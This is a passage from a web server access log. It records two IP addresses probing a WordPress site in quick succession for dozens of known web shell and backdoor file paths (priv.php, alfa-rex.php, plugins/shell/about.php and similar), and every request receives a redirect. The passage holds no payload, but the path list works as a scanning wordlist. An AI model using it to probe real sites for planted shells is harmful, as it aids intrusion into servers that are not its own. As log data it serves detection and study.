MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-admin/css/colors/ectoplasm/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-admin/css/colors/modern/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-admin/css/colors/light/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-admin/css/colors/ocean/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-admin/css/colors/midnight/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-admin/maint/cpsc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-admin/images/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-admin/css/colors/modern/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-admin/js/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-admin/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:40 -0400] "GET /wp-admin/css/colors/ocean/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-includes/ID3/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-admin/images/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-admin/includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-includes/IXR/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-admin/js/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-includes/PHPMailer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-includes/ID3/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-admin/maint/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-includes/Text/Diff/Engine/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-includes/IXR/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-admin/css/colors/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-includes/pomo/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:41 -0400] "GET /wp-includes/PHPMailer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-admin/images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-includes/sitemaps/providers/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-includes/Text/Diff/Engine/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-admin/css/colors/blue/ins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-includes/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-includes/pomo/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-includes/sitemaps/providers/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-includes/fonts/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-includes/sitemaps/providers/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-includes/images/crystal/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-includes/PHPMailer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:42 -0400] "GET /wp-admin/js/sheb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-includes/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-admin/maint/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-includes/ID3/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-includes/images/media/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-includes/fonts/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-admin/css/colors/blue/ds.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-includes/images/smilies/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-includes/images/crystal/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-includes/images/crystal/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-includes/menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-includes/js/codemirror/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-includes/images/media/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:43 -0400] "GET /.well-known/b.png.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-includes/js/plupload/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-includes/images/smilies/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-admin/css/colors/ocean/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-admin/includes/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /files/editprofile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-includes/js/codemirror/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-admin/css/colors/blue/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /images/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-includes/js/plupload/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-admin/maint/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-admin/maint/lol.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:44 -0400] "GET /files/editprofile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /wsoyanzfv3.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:44 -0400] "GET /images/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /wp-content/languages/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:44 -0400] "GET /uploads/abstract_login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-admin/maint/lol.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-content/uploads/etipat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-admin/css/f.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:45 -0400] "GET /wp-admin/css/acces.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:45 -0400] "GET 